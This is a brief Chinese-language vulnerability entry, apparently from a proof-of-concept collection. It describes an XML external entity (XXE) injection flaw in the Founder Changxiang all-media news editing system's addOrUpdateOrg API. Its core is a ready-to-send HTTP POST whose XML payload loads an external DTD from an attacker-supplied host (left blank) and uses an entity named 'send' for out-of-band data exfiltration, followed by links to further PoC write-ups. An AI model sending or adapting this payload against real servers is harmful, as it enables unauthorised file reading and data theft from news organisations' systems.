Description
方正畅享全媒体新闻采编系统是一款以内容资产为核心的智能化融合媒体业务平台。方正畅享 /newsedit/api/orgUser/addOrUpdateOrg 存在XML外部实体注入漏洞
方正畅享 /newsedit/api/orgUser/addOrUpdateOrg XML 外部实体注入漏洞
PoC
POST /newsedit/api/orgUser/addOrUpdateOrg HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
xmlStr=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://">
<M><syscode>&send;</syscode></M>
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E6%96%B9%E6%AD%A3%E5%85%A8%E5%AA%92%E4%BD%93/%E6%96%B9%E6%AD%A3%E7%95%85%E4%BA%AB%E5%85%A8%E5%AA%92%E4%BD%93%E6%96%B0%E9%97%BB%E9%87%87%E7%BC%96%E7%B3%BB%E7%BB%9FaddOrUpdateOrg%E5%AD%98%E5%9C%A8XXE%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/3284701.html
http://152.67.113.27/articles/%E3%80%90%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E3%80%91%E6%96%B9%E6%AD%A3%E7%95%85%E4%BA%AB%E5%85%A8%E5%AA%92%E4%BD%93%E6%96%B0%E9%97%BB%E9%87%87%E7%BC%96%E7%B3%BB%E7%BB%9F+addOrUpdateOrg+XXE%E6%BC%8F%E6%B4%9E_11216525_csdn.html
https://www.6cloudtech.com/portal/article/index/id/1334.html